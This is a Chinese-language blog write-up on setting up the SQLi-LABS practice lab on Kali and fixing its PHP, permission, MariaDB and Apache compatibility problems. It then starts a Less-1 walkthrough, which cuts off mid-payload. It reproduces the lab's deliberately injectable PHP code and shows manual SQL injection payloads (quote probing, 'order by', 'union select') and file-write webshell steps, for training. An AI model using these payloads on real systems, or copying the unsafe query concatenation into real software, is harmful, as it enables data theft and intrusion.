SQLi-LABS-完整训练

前言

按顺序在 BUUCTF 刷题,这不刚刷完文件上传的专题不久,又进入了 SQL 注入专题,迟迟不敢动手,毕竟 upload-labs-完整训练 中的痛苦过程依然历历在目。

不过还是得面对,小小的 SQL 注入,难道还能学不会不成?

这篇文章将分为五个部分,首先是环境配置,往后对于此类练习平台,都将部署于本地。虽然得不到 BUU 的肯定,但我们确实很有必要保证环境可控。此外在实战中遇到的有关环境的问题也将汇总于该部分,并详细记录解决过程。然后的四部分则分别对应于 SQLi-LABS 中的 Basic Challengs(基础挑战)、 Advanced Injections(高级注入)、 Stacked Injections(堆叠注入)、 Challengs(进阶挑战)。

由于图片数量非常可观,因此本文中出现的图片全部存储于 去不图床 ,若失效或遇到其他问题请及时联系本人。

特别感谢平台作者 Audi-1 及博主所用版本的作者 mukkul007

环境配置

  • 鉴于对 Linux 系统学习的需求,环境也将不应再约束于 Windows 中了,然而在博主电脑中常驻的 Linux 系统就只有 Kali,显然,应该由 Kali 来担此重任。

  • 首先,需要开启 Apache 服务,输入以下命令:

    1
    sudo service apache2 start

    其中 sudo 表示用管理员身份执行命令。开启成功后打开浏览器访问 localhost 即本机地址,看到如下界面说明开启成功:

  • 然后需要开启 MySQL服务,输入以下命令:

    1
    sudo service mysql start

    完成之后输入以下命令尝试登录 MySQL 同时验证是否开启成功:

    1
    mysql -uroot -p

    其中 -uroot 表示登录用户名为 root-p 后接密码,留空则将引导隐藏输入密码。初始状态密码为空。如下图所示即为登录成功:

    登录后可使用以下命令修改密码:

    1
    SET password for 'root'@'localhost'=password('新密码');
  • 接下来就可以安装平台了,首先使用以下命令将工作目录移动至 /var/www/html

    1
    cd /var/www/html

    然后将整个平台的文件存放至此目录,本机地址加文件夹名即可在浏览器中成功访问平台,使用以下命令将 GitHub 上的 sqli-labs-kali2 项目克隆至当前目录,并设置文件夹名称为 sqli-labs

    1
    git clone https://github.com/mukkul007/sqli-labs-kali2 sqli-labs
  • 修改配置文件实现平台与数据库的连接,配置文件为平台目录下的 sql-connections 文件夹下的 db-creds.inc 文件,使用以下两条命令即可打开该文件,文件内容如下图所示:

    1
    2
    cd sqli-labs/sql-connections/
    vi db-creds.inc

    其中 dbuserdbpass 分别代表用户名与密码,实测密码不能为空,可参照上一条修改密码。由于使用 vim 打开,需要先按 i 键进行编辑,编辑完成后按 Esc 键退出编辑返回命令模式,输入 :wq 保存并退出即完成配置。

  • 在浏览器地址栏中输入地址 http://localhost/sqli-labs/ 即可访问平台,其中 sqli-labs 即平台目录的名称。

    当然到这里并没有结束,还需要点击第二栏 Setup/reset Database for labs 正式连接数据库,如下图所示即为连接成功:

问题汇总

参照网络上的教程,完成以上步骤基本就可以了,很遗憾的是,或许是具体环境的不同,笔者在操作时依然遇到了一些困难,本着博客纪实原则,同时便于日后参考,现将环境类问题及解决过程汇总于此。

权限问题(PHP)

  • 问题描述

      在完成环境部署之后,数据库也连接成功,然而在第一次尝试注入时,网页只剩下 Welcome Dhakkan,同时服务器返回错误码 500,无论刷新或是改变 GET 请求值均无变化。

  • 研究过程

      在 SQLi-LABS 部署过程中,最常见的环境问题便是 PHP 版本不兼容,主要是 PHP7+ 版本不兼容,这里使用的是 mukkul007 提供的修改版本,代码是可以顺利运行在 Kali2.0 上的,并且据网友实测也是可以运行在近期的 Kali 版本中的。但是由于笔者热衷于使用最新版,因此很难不怀疑是新版本所导致的。

      输入命令 php -v 查询系统自带的 PHP 版本,得知为 PHP 8.1.2。

      盲目降级来解决问题不可取,因此还是调试源码(以 Less-1 源码为例),如果能发现是哪里出现问题,说不定可以在 mukkul007 的修改版基础之上推出适配 Kali2022 的 SQLi-LABS。源码关键部分如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    // take the variables 
    if(isset($_GET['id']))
    // 若通过 GET 方法传递了 id 变量则进入 if 语句
    {
    $id=$_GET['id'];
    //logging the connection parameters to a file for analysis.
    // 打开文件并在末尾加上本次传递的值
    $fp=fopen('result.txt','a');
    fwrite($fp,'ID:'.$id."\n");
    fclose($fp);

    // connectivity
    $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
    $result=mysqli_query($con, $sql);
    $row = mysqli_fetch_array($result, MYSQLI_BOTH);

    if($row)
    {
    // 若查询成功则输出结果
    echo "<font size='5' color= '#99FF00'>";
    echo 'Your Login name:'. $row['username'];
    echo "<br>";
    echo 'Your Password:' .$row['password'];
    echo "</font>";
    }
    else
    {
    // 若查询失败则输出错误提示
    echo '<font color= "#FFFF00">';
    print_r(mysqli_error($con));
    echo "</font>";
    }
    }
    else { echo "Please input the ID as parameter with numeric value";}
    // 若未通过 GET 方法传递 id 变量,则输出上方语句

      由于在未传递变量时网页输出正常,因此问题出在 if 语句中,为了解程序中断于哪部分,笔者在每条语句后添加输出语句输出不同字符串,如下图所示,实测程序中断于 fwrite() 函数。

      因此,程序执行打开文件操作正常,而执行写入文件失败,为确定问题仅发生于文件操作,我将该部分代码注释,实测将 fwrite()fclose() 两个函数注释后,程序可以正常运行,因此可以确定问题出于这两个函数上。

      查询 PHP 官方手册中对于 PHP 7.4.x 到 8.0.x 以及 PHP 8.0.x 到 8.1.x 的不向后兼容的变更内容,并没有发现对于文件写入与关闭操作的变更,因此,很有可能并不是 PHP 版本所引起的错误。为了验证这一点,我将这部分源码复制到了编译器中,同时添加了字符串的输出与文件写入,解释器使用 PHP 8.1.2 版本,当传入参数 id 时,程序运行正常!

      程序对于文件的打开操作可以正常执行,但是却无法修改与关闭文件,由上又排除了 PHP 本身的问题,因此基本可以认为,是权限问题。也就是说,程序对文件只有只读权限。查看该文本文件的权限,可以看到,只有 root 用户具有读写权限,此外包括 root 组内其他成员在内的所有成员都只有只读权限。将其他部分改为读写权限后,程序可以照常运行(注:修改权限需 root 权限)。因此,造成该错误的原因就是程序的权限不够且程序的执行用户并非 root,也不属于 root 用户组。

      知道这些当然还不够,虽然直接给权限就行了,但直接将所有用户赋予读写权限,显然不是一个搞安全的该干的事,因此,应该了解程序执行所用的是哪个用户,且仅赋予该用户对网页范围内的读写权限,当然,权限可进一步细分。

  • 解决方案

      首先查询执行用户,这个用户实际上就是 Apache 所使用的执行用户,在目录 /etc/apache2 中的 envvars 文件中即可查看。如图所示用户为 www-data 所属用户组为 www-data

      赋予上述用户对于平台根目录读写权限并递归应用即可,平台目录为 /var/www/html/sqli-labs,即环境部署时文件拷贝的目录。

      在浏览器中执行注入,回显成功,问题解决!

错误处理问题

  • 问题描述

      在源代码中有一段是可以在 SQL 语句出错时输出错误信息的,比如 Less-1 中注入 id=1' 时,多余的单引号会导致语法错误,因此网页此时应输出错误提示,但是在实际操作时,网页只能显示标题同时服务器返回错误码 500

  • 研究过程

      首先,在无语法问题时浏览器可以正常回显,说明数据库连接正常且可以完成正常查询,因此错误应发生在带有语法错误的 SQL 语句执行函数上,即 mysqli_query() 函数。通过在代码中插入输出语句可以验证这一点:

      将关键代码移动至编译器中进一步调试,发现查询在执行至 mysqli_query() 函数时结束了进程,退出代码 255 表示查询异常退出。

      源代码中的 error_reporting(0) 表示设置报错级别为 0,即不报错。将该语句注释后,程序正常报错(致命错误!):PHP Fatal error: Uncaught mysqli_sql_exception: …

      该错误导致程序中断,后续代码将不能执行,但是,该段代码本身就是支持注入错误内容并回显错误信息的,因此,有理由怀疑是新版本的 PHP 导致程序中断。为此,笔者测试了 PHP 5.5.20、PHP 7.4.29、PHP 8.0.12、PHP 8.1.6 四种环境下的执行差异,结果如下图所示。

      由测试结果可以看出,在 PHP 8.1.6 版本中,SQL 语句的语法错误被视为致命错误,程序会在此中断。而 PHP 8.0.12 版本中,则并不会视为错误,程序可以顺利执行。但是,却会在下一个函数 mysqli_fetch_array() 处报错,这是因为 mysqli_query() 函数执行错误语句且未报错的情况下会返回 false,而这作为 bool 类型的变量与 mysqli_fetch_array() 函数所需类型不符,从而引起致命错误。在 PHP 7.4.29 与 PHP 5.5.20 中,相同的问题则被视为警告,因此程序可以按照原有逻辑正常运行。实际上,这两点就涉及 PHP 8.0.x 与 PHP 8.1.x 的新特性:从 PHP 8.0 开始,尝试写入非对象属性(如 false)将会被视为错误异常,而从 PHP 8.1 开始,MySQLi 的默认错误处理模式由 silent 变成了 exceptions,即类似于上述语法错误将抛出异常处理而不是直接返回 false。关于这两点,依然可以在官方手册中对于 PHP 7.4.x 到 8.0.x 以及 PHP 8.0.x 到 8.1.x 的不向后兼容的变更内容中找到:

  • 解决方案

      综上,我们需要解决两个问题,首先是 PHP 8.1 的默认错误处理模式问题,这一点官方手册中提供了方法,在错误部分之前使用语句 mysqli_report(MYSQLI_REPORT_OFF); 即可。然后便是 PHP 8.0 开始的异常问题,既然已经被列为致命错误了,那就不能直接无视了,要么将 PHP 版本修改为 8.0 以前的,要么就得老老实实处理错误异常。不提倡降级解决问题,因此这里选择处理错误异常。

      要处理这个异常,首先就得捕获这个异常,在之前测试时可以看到,错误提示为 Uncaught TypeError...,即错误类型为 TypeError。由此可以直接捕获 TypeError 类型,也可以捕获其基类。值得注意的是,正常用户级的异常都继承自 Exception 类,而 TypeError 则属于 PHP 内部错误,继承自 Error 类,若直接捕获 Exception 类异常将捕获失败进而导致处理无效。

      依然以 Less-1 的源码为例,修改如下,已省略部分无关代码:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    <?php
    // ... 省略部分无关代码
    mysqli_report(MYSQLI_REPORT_OFF);
    if(isset($_GET['id']))
    {
    // ... 省略部分无关代码
    $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
    $result=mysqli_query($con, $sql);

    try {
    $row = mysqli_fetch_array($result, MYSQLI_BOTH);

    echo "<font size='5' color= '#99FF00'>";
    echo 'Your Login name:'. $row['username'];
    echo "<br>";
    echo 'Your Password:' .$row['password'];
    echo "</font>";
    } catch (TypeError $e) {
    echo '<font color= "#FFFF00">';
    print_r(mysqli_error($con));
    echo "</font>";
    }
    }
    else { echo "Please input the ID as parameter with numeric value";}
    ?>

      测试错误注入,回显成功,问题解决!

空表处理问题

  • 问题描述

      在靶机原作者的设计中,查询失败并回显错误信息的操作并不仅限于 SQL 语句出现错误时,而同样适用于在查询结果为空时。现在的问题在于,在前述问题中将报错的触发条件设置为了 SQL 语句出错,而在结果集为空时则将导致程序正常执行,这也将直接导致后续布尔盲注无法进行!具体表现为在 Less-5 及此类查询成功便显示固定字符的情况下,提交有效与无效值后都将看到同意结果,无法区分。

  • 研究过程

      出现这样的问题显然已经不能通过修改环境来解决了,毕竟这是属于笔者擅自修改原靶机的处理机制且未考虑周全导致的。解决这个问题的思路自然就是如何将空表的处理融入进前文中的错误处理机制中,总不能直接复制代码做分别两次处理吧,虽然这样是挺方便的

  • 解决方案

      解决这个问题还是比较简单的,添加下面这一行代码即可,表示当结果集为空时,抛出一个 TypeError 异常,这样就能与前文中的错误处理结合了。

    1
    if(!$row) throw new TypeError('');

      观察源代码可以知道,结果集应该储存于变量 $result 中,但是这里却对结果集数组化后的变量 $row 进行判断。按理来说直接对变量 $result 进行判断更加准确且还能省去对空表数组化操作的步骤,起初我就是这么干的。但很遗憾,结果集在数组中的存放并不只是数据内容而已,因此空表并不代表变量 $result 也为空,事实上储存空表的变量长这样:

      总的来说就是在无意重构程序的情况下切记随意篡改别人的代码,自己的最好也不要,就算进行必要的修改也应尽量还原代码构造,笔者头脑发热对全部文件统一错误修改后血的教训

      依然以 Less-1 的源码为例,修改如下,已省略部分无关代码:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    <?php
    // ... 省略部分无关代码
    mysqli_report(MYSQLI_REPORT_OFF);
    if(isset($_GET['id']))
    {
    // ... 省略部分无关代码
    $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
    $result=mysqli_query($con, $sql);

    try {
    $row = mysqli_fetch_array($result, MYSQLI_BOTH);
    if(!$row) throw new TypeError('');
    echo "<font size='5' color= '#99FF00'>";
    echo 'Your Login name:'. $row['username'];
    echo "<br>";
    echo 'Your Password:' .$row['password'];
    echo "</font>";
    } catch (TypeError $e) {
    echo '<font color= "#FFFF00">';
    print_r(mysqli_error($con));
    echo "</font>";
    }
    }
    else { echo "Please input the ID as parameter with numeric value";}
    ?>

更新残留问题

  • 问题描述

      在 Less-17 中代码出现重大变化,在完成前述修正之后,依然出现对于任何输入均返回服务器 500 错误码的问题。

  • 研究过程

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    <?php
    //including the Mysql connect parameters.
    include("../sql-connections/sql-connect.php");
    error_reporting(0);
    mysqli_report(MYSQLI_REPORT_OFF);
    function check_input($value)
    {
    if(!empty($value))
    {
    // truncation (see comments)
    $value = substr($value,0,15);
    }

    // Stripslashes if magic quotes enabled
    if (get_magic_quotes_gpc())
    {
    $value = stripslashes($value);
    }

    // Quote if not a number
    if (!ctype_digit($value))
    {
    $value = "'" . mysqli_real_escape_string($con, $value) . "'";
    }

    else
    {
    $value = intval($value);
    }

    return $value;
    }

    // take the variables
    if(isset($_POST['uname']) && isset($_POST['passwd']))

    {
    //making sure uname is not injectable
    $uname=check_input($_POST['uname']);

    $passwd=$_POST['passwd'];


    //logging the connection parameters to a file for analysis.
    $fp=fopen('result.txt','a');
    fwrite($fp,'User Name:'.$uname."\n");
    fwrite($fp,'New Password:'.$passwd."\n");
    fclose($fp);


    // connectivity
    @$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";

    $result=mysqli_query($con, $sql);

    //echo $row;
    try {
    $row = mysqli_fetch_array($result, MYSQLI_BOTH);
    if(!$row) throw new TypeError('');
    //echo '<font color= "#0000ff">';
    $row1 = $row['username'];
    //echo 'Your Login name:'. $row1;
    $update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
    mysql_query($update);
    echo "<br>";



    if (mysqli_error($con))
    {
    echo '<font color= "#FFFF00" font size = 3 >';
    print_r(mysqli_error($con));
    echo "</br></br>";
    echo "</font>";
    }
    else
    {
    echo '<font color= "#FFFF00" font size = 3 >';
    //echo " You password has been successfully updated " ;
    echo "<br>";
    echo "</font>";
    }

    echo '<img src="../images/flag1.jpg" />';
    //echo 'Your Password:' .$row['password'];
    echo "</font>";



    } catch (TypeError $e) {
    echo '<font size="4.5" color="#FFFF00">';
    //echo "Bug off you Silly Dumb hacker";
    echo "</br>";
    echo '<img src="../images/slap1.jpg" />';

    echo "</font>";
    }
    }

    ?>

      首先当然还是查看源码,可以看到增加了许多代码,因为本关增加了对于参数的过滤,主要通过将引号转义来使 SQL 注入无效。

      将源码置于本地调试,一粘贴便报错了,报错点在 get_magic_quotes_gpc() 函数,该函数用于获取 magic_quotes_gpc 配置选项的值,而该配置开启时便会自动将普通数据(Get/Post/Cookie)的单双引号、反斜杠与 NULL 转义。然而 get_magic_quotes_gpc() 函数在 PHP 7.4.0 起便被废弃,配置选项 magic_quotes_gpc 更是在 PHP 5.4.0 起就被删除。也就是说,PHP 将安全编码留给了用户自己而非对该配置项的依赖,解析器不再自动添加转义符号。

    1
    2
    3
    4
    if (get_magic_quotes_gpc())
    {
    $value = stripslashes($value);
    }

      那么就该对于该 if 语句进行审计并更新了,程序在确认配置项开启后便会执行 stripslashes() 函数,该函数实际上就是将前述配置中自动添加的转义字符删除,恢复数据原来的样子。显然,在该配置项都不存在的现代,整个 if 语句都显得十分多余,因此直接删去即可。

      很遗憾,报错依然存在,报错点位于下一个 if 语句中的 mysqli_real_escape_string() 函数中,该函数可以检测并转义特殊字符,其中就包括在 SQL 注入中极其重要的单双引号。不过报错与该函数并无关系,错误的是该函数的第一个参数 $con

      这里就涉及到 PHP 中全局变量的作用域问题,与其他许多语言不太一样的是,在 PHP 的函数中要访问全局变量需要先在函数内使用关键字 global 对全局变量进行声明或者使用特殊的 PHP 自定义 $GOLBALS 数组对全局变量进行访问。更加详细可参考 官方文档。因此对于该错误可进行如下两种修改:

    1
    2
    3
    4
    5
    if (!ctype_digit($value))
    {
    global $con;
    $value = "'" . mysqli_real_escape_string($con, $value) . "'";
    }
    1
    2
    3
    4
    if (!ctype_digit($value))
    {
    $value = "'" . mysqli_real_escape_string($GLOBALS['con'], $value) . "'";
    }

      已经发现两个问题了,但是很遗憾,在某个角落依然顺便发现了个错误,程序在执行更新的 SQL 语句时调用的竟然是 mysql_query() 函数,该函数在 PHP 7.0.0 后便被废弃。以往对于 SQLi-LABS 的更新迭代都会强调该函数的更新,即更换为 mysqli_query() 函数,此处应该是本版修改者失误遗漏造成的,这里一并修改了。

  • 解决方案

      将 get_magic_quotes_gpc() 函数所在的整个 if 语句注释,毕竟是修改人家的代码,能注释的原则上还是不做删除处理。关于作用域方面的问题,为便于修改,笔者统一采用 $GOLBALS 数组进行修改。对于 mysql_query($update) 函数则更改为 mysqli_query($con,$update) 即可,值得注意的是修改后的函数需要两个参数。

      相类似的问题后续还有一些,解决方案均如上即可。

权限问题(MySQL)

  • 问题描述

      在利用注入对文件进行操作时(如 Less-7),确定 payload 正确但是页面返回错误,查看文件夹也并无相应木马文件生成。

  • 研究过程

      由于该题不返回具体错误信息,因此先修改程序,使其显示具体的报错信息。由于源代码中对于报错信息显示的部分代码有所保留,因此直接取消该部分注释即可,完成后执行结果如图,显示信息为:Can't create/write to file …

      由上述信息基本可以确认是权限问题,在处理 PHP 程序中文件操作权限不足时,笔者赋予了用户群组 www-data 对于整个靶机的读写权限,参照这个思路,只需另外再赋予 MySQL 的执行用户读写权限即可,其中 MySQL 默认使用的用户为 mysql。一个简单的做法依然是赋予所有用户读写权限,但是本着不让权力被滥用的原则,优先考虑为特定用户赋权。当前靶机的权限情况如下图所示,可以看出没办法为 mysql 用户单独赋权了。

      不过,靶机的所有者还可以通过命令修改,由于 root 用户本来就具有所有权,因此所有者完全可以设置为其他用户。既然靶机是在网页提供服务的,这里就把所有者设为 Apache 的执行用户 www-data,此外再为 mysql 用户赋予读写权限即可。

  • 解决方案

      对文件所有者的修改无法在图形界面直接完成,而要借助如下命令:

    1
    sudo chown www-data sqli-labs -R

      其中,-R 表示递归执行,即 sqli-labs 以及所有子文件的所有者均设为 www-data。后续完成对 mysql 用户的赋权即可,完成后的权限情况如下图所示:

    操作完成后其实依然会返回错误,但是木马文件的创建确实已经完成,这就足够了。经过进一步验证,对应 SQL 语句执行成功,但是存在一个警告:

MariaDB 问题

  • 问题描述

      在 Less-7 中验证全局变量 secure_file_priv 值时遇到了问题,如图所示,虽然确定变量值为空,但是值的长度却不等于零,因而造成查询失败:

  • 研究过程

      直接在靶机中使用命令行操作 MySQL 验证,确认变量值确实为空,结果如图。

      然后获取变量值的长度,验证长度为零。结果如图,很遗憾,长度并不为零,而是 NULL

      上述两个结果显然发生了冲突,因为空值的长度应该返回零才对。再次查询变量值,这次使用 select 语句,若变量值依然为空则确定是 length() 函数的问题。但是,离谱的事情在于,select 语句查询的结果竟然为 NULL。同一个变量使用两种不同的查询方法竟然可以查出两种完全相反的值。

      笔者又另外配置了 MySQL 环境并对这一问题再次研究,发现所测试各版本的 MySQL 中均不存在该问题,两种方法的查询结果都为空。

      如此特殊的情况很难不怀疑是靶机环境中出现了错误,使用 select 语句时会将空值等价于 NULL 值,为此笔者又在靶机中用两种方法查询其他值为空的全局变量,这次竟然就正常了,也就是说,查询结果不同的情况基本只针对于该变量。那很可能只是个小 bug 毕竟这么离谱。除非,是 MariaDB 的问题。

      虽然全文中都默认靶机所使用的数据库管理系统为 MySQL,但事实上使用的是 Kali 自带的 MariaDB,可作为 MySQL 的“平替”,实际上的操作也与 MySQL 几乎完全一致,虽然个人对两种系统的区别并没有深入研究过,但至少知道直接替换使用是基本不会出现问题的。作为验证,笔者在其他环境中安装了与靶机相同版本的 MariaDB,竟然成功复现了该结果。

      可以确定了,就是 MariaDB 的问题。为确保不只是该版本的小 bug,笔者又测试 MariaDB 的各个不同版本,结果均复现成功。好吧,MariaDB 的问题。
      仔细翻阅了 MySQL 和 MariaDB 的官方手册,发现官方对两个系统中变量 secure_file_priv 的描述十分耐人寻味。

      MySQL 中的描述较多,其中关键在于准确表达了三种值及其意义,而 MariaDB 则使用一句话简单概括了一下,谷歌翻译一下就是:

    LOAD DATA, SELECT … INTO 和 LOAD FILE() 仅适用于指定路径中的文件。 如果未设置、默认值或设置为空字符串,则语句将适用于任何可访问的文件。

      也就是说,MariaDB 只定义了两种情况,与其他,其中空依旧是无任何限制,而其他则表示仅限于指定地址。因此,MariaDB 中并没有将 NULL 定义为禁止操作,而是将其等价于空。从某种意义来说,笔者倒是十分认同这样的处理。

  • 解决方案

      其实只需要改用正儿八经的 MySQL 就可以了,不过笔者无意大改环境,况且该问题可以被绕过而不影响解题,因此实操中将保留该问题,或者说,其实这还称不上是问题。

MySQL 版本问题

  • 问题描述

      在 Less-26 中使用 %A0 绕过空格时发现并不能成功绕过。

  • 研究过程

      参考了许多师傅的题解之后发现,基本上大家都能直接使用 %A0 绕过空格,如下图所示,从网页末的回显可以看出,PHP 本身并不认识该字符,该字符并没有被过滤。

      在本地配置相同调试,发现在使用 MySQL 5 版本时可以成功绕过,而换成 MySQL 8 版本时则出现了与靶机中一致的情况。

      如图第一行数据为所执行的 SQL 语句,可知 MySQL 8 并不支持将 %A0 视作空格处理,而是单纯的未知字符,而 MySQL 5 则能以空格处理。

  • 解决方案

      其实笔者一直尝试不用该字符绕过,后来发现虽然可以解题,但毕竟不是长久之计,知识点比较重要。因此建议配置 MySQL 5,不过笔者无意大改环境,而且这个问题依然可以被其他解法绕过,因此实操亦将保留该问题。

Apache 版本问题

  • 问题描述

      在 Less-26 中使用 %0B 会被过滤掉。

  • 研究过程

      该问题与前述的 MySQL 版本问题的主要表现基本一致,因此笔者也一度认为依然是 MySQL 不同版本的解析问题,事实上观察底部回显数据可知,上述两个字符在被传入 MySQL 之前便已经被删除了。在测试了其他师傅的靶场环境后发现并没有被过滤,也就是说现有的正常运行的环境中,PHP 程序的正则表达式中的 \s 并不会匹配上述两个字符,而笔者环境下则匹配成功了。如下图,虽然 %0B 会被回显为 符号,有的浏览器甚至无法显示,但是实测这并不影响其在 MySQL 5 中被正常解析,当然其同样不能应用于 MySQL 8 版本中。

      在本地测试了各版本的 PHP 之后,结果并没有任何变化,可以确定的是这与 PHP 的版本并无关系,那么影响其正则匹配就是 PHP 的运行环境了,也就是 Apache 的问题。为确认这一点笔者测试了相同 PHP 与 MySQL 环境下四个常用 Apache 版本 2.4.72.4.102.4.29 以及 2.4.39其实就是现成的很多靶机最常用的四个版本,结果如下图:

      其中仅有 Apache 2.4.7 没有将 %0B 过滤掉,后续版本均完成了过滤操作,因此基本可以认定在较高版本中(目前只能确定为 2.4.10 及以后版本)正则表达式的 \s 可以匹配垂直定位符号,即 %0B。而笔者所使用的靶机版本为 2.4.54,那显然是不行了。此外笔者对一些旧版本(低于 2.4.7)做了测试,均与上述结论相吻合。

      此外,有许多师傅提到 Windows 与 Linux 系统下的 Apache 也存在如上的解析偏差,关于这一点笔者并没有做验证,有机会可以探索探索。

      有意思的是,笔者用于测试的 %7F 字符(即退格符),在任何版本中都不会被过滤,虽然它不能作为空格被使用,但是在很多浏览器中都能被回显为空格,就输出美化来说,还是不错的。

  • 解决方案

      切换 Apache 版本即可,该靶机广泛部署于 Apache 2.4.7 版本之上,就全民质检的结果来看,换成这个版本应该就可以顺利刷完题目。不过笔者无意大改环境,而且这个问题依然可以被其他解法绕过,因此实操亦将保留该问题。

基础挑战

Less-1

GET - Error based - Single quotes - String

打开本题界面如图所示,界面中心有一句提示:Please input the ID as parameter with numeric value. 意为:请输入 ID 作为数值参数。据题意即需要用 GET 方法向服务器传递一个数值参数,参数名为 ID,不过实测参数名应为小写的 id.

手工注入

  • 首先简单地传入数据 1,构造 payload 如下:

    1
    ?id=1

    网页回显了一对用户名与密码,通过修改参数值可以得到不同的用户名与密码,理论上这样就能获取全部了。但是由于不确定 id 值是否连续且数据总数未知,仅仅通过逐个测试值来获取数据显然不够完善,因此还需继续操作。

  • 为方便后续操作,应先判断该注入点为数字型注入还是字符型注入,实际上就是判断传入的数据与待拼接的 SQL 语句之间是否使用引号分隔(引号闭合包含参数),若为数字型注入则在后续操作中无需考虑引号闭合,而若为字符型注入则需要考虑注入后拼接的 SQL 语句的引号有效闭合问题。两种注入的示例如下两句 SQL 语句所示,其中数字 1 为注入数据。

    1
    2
    SELECT * FROM [表名] WHERE id='1';     # 字符型注入
    SELECT * FROM [表名] WHERE id=1; # 数字型注入
    • 判断数字型注入的方法较为简单,构造两个 payload 如下:

      1
      2
      ?id=1 and 1=1
      ?id=1 and 1=2

      其中,and 为逻辑运算符,当前后均为真时值为真。由于 1=1 始终为真,而 1=2 始终为假,因此上述两个 payload 的实际值便是 TrueFalse,对应为查询成功(id=1)与查询失败两种结果。当然,以上并没有考虑引号闭合问题,若两种 payload 返回的结果不同,则说明参数与 SQL 语句拼接时并没有使用引号分隔,即属于数字型注入。实测两种 payload 返回的结果相同,因此不属于数字型注入(结果相同是因为 MySQL 会对参数类型自动转化):

    • 而判断字符型注入的方法则更复杂一些,关键在于对闭合符号的判断。不过,本题支持错误回显,因此针对本题可以直接在传入数据末尾添加转义字符 \(当然完全可以只传入转义字符),这样闭合符号会因为被转义而造成不闭合进而报错,此时便可在错误提示中直接观察到闭合字符。构造 payload 如下:

      1
      ?id=\ 

      查看浏览器回显如下图所示,转义字符 \ 之后的字符便是闭合字符,可以看出该处所使用的闭合字符为单引号 '

    • 当然,这里额外考虑没有错误回显时应如何判断闭合符号作为训练。

      • 由于 MySQL 的对于数据的包容性较强,会将错误数据自动转化为合法数据类型,除非遇到未闭合的闭合符号才会报错。假设待拼接 SQL 语句使用单引号 ' 作为闭合字符,而所需数据为数字,则传入 1")1-1''( 等参数都将被解释为数字参数 1。其中第三个实例 1)''( 括号中间为两个连续的单引号,虽然单引号作为闭合符号,但是由于两个单引号分别与参数前后单引号形成闭合关系,因此不存在语法错误,依然可以正常解析。当然,参数被闭合字符分割为两段后第二段是无效的,同时两个引号中间务必为,因为两段字符串中间的无效连接字符会造成语法错误!

      • 基于上述条件,在 MySQL 中就无法通过直接逐个测试闭合符号并配合注释符验证的方式判断闭合符号,因为大部分测试符号都将导致查询成功!所以这里需要分步检验,首先,构造如下两个 payload

        1
        2
        ?id=1'
        ?id=1"

        由于字符数据总是直接被单引号或双引号闭合,因此只要是字符型注入,上述两个 payload 必然会有一个被解释为闭合符号而出现语法错误,另一个则因为未被匹配为闭合符号而自动转化为数据 1 进而查询成功!

      • 考虑第一种情况,单引号查询失败而双引号查询成功,即可认为单引号为有效闭合符号,那么就需要进一步验证闭合符号后是否含有括号(MySQL 中闭合符号可由单双引号加多层括号构成)。构造 payload 如下:

        1
        ?id=1'--+
        --+ 作为注释符将待拼接 SQL 语句后续部分注释,若闭合符号仅为单引号,则数据中的单引号将成功闭合,查询成功;若闭合符号还有括号,则会因为未完全闭合而造成语法错误,查询失败。由此即可判断是否有括号,而具体有多少个括号,则可构造如下 payload 进一步论证:
        1
        2
        3
        ?id=1')--+
        ?id=1'))--+
        ……
      • 而另一种情况即单引号查询成功而双引号查询失败,因此双引号为有效闭合符号,而对于后续括号的判断,则参照上一条即可。

      • 综上对本题进行测试,先判断单双引号,结果如下图:

        由以上结果可暂认为本题为单引号闭合,然后再判断是否存在括号闭合,结果如下图:

        在仅使用单引号来测试闭合符号的情况下查询成功,因此本题为单引号闭合。

  • 接下来就需要了解当前表被查询的列数,进而通过列数得知浏览器回显的数据为哪几列,这样后续操作就可以控制所需数据在浏览器中的显示情况。首先使用 order by 语句确认列数,它会根据指定列对结果集进行排序,当然排序并不是目的,重点在于指定列的方式,即可以使用列名,也可以使用列的序号,而指定列不存在则会报错。我们可以以序号指定列,由于序号是根据表的结构自动判定的,因此表中含有的列数即为序号的最大值。所以,可以使用 order by 语句逐个测试序号,能够成功查询的最大值即为列数。构造 payload 如下(注意数据闭合):

    1
    2
    3
    ?id=1' order by 1--+
    ?id=2' order by 2--+
    ……

    测试结果如下图所示,最大成功查询序号为 3,因此该表被查询列数为 3。根据现有内容可以判断三列数据应该为 id用户名密码

  • 知道了列数就可以研究浏览器回显位了,虽然知道回显的应该为 用户名密码 两位数据,但是由于我们需要的不仅仅是该表中的单行数据,因此后续操作实际上都是基于复合查询以查询指定数据,并将数据复合于结果集中的相应位置才能完成回显,在此之前我们就需要基于相同的方法判断回显位,构造 payload 如下:

    1
    ?id=-1' union select 1,2,3--+

    其中,union 操作符用于将前后相同列数的查询结果集按查询顺序合并,而后面一段我们构造的查询语句因为没有指定表,因此返回的数据即为所查询内容。此外,前部分查询由于条件为 id=-1 因而返回空集,因此实际查询的结果就是 1, 2, 3 三列数字,而根据浏览器显示的数字即可判断回显位。测试结果如下图所示,可知第 23 位为回显位,且第二位对应用户名,第三位对应密码。

  • 现在就可以查询需要的信息并控制回显于浏览器中了,只要将查询内容替换上述 payload 中的 23 即可。首先查询当前数据库的表名,使用 databese() 函数即可,构造 payload 如下:

    1
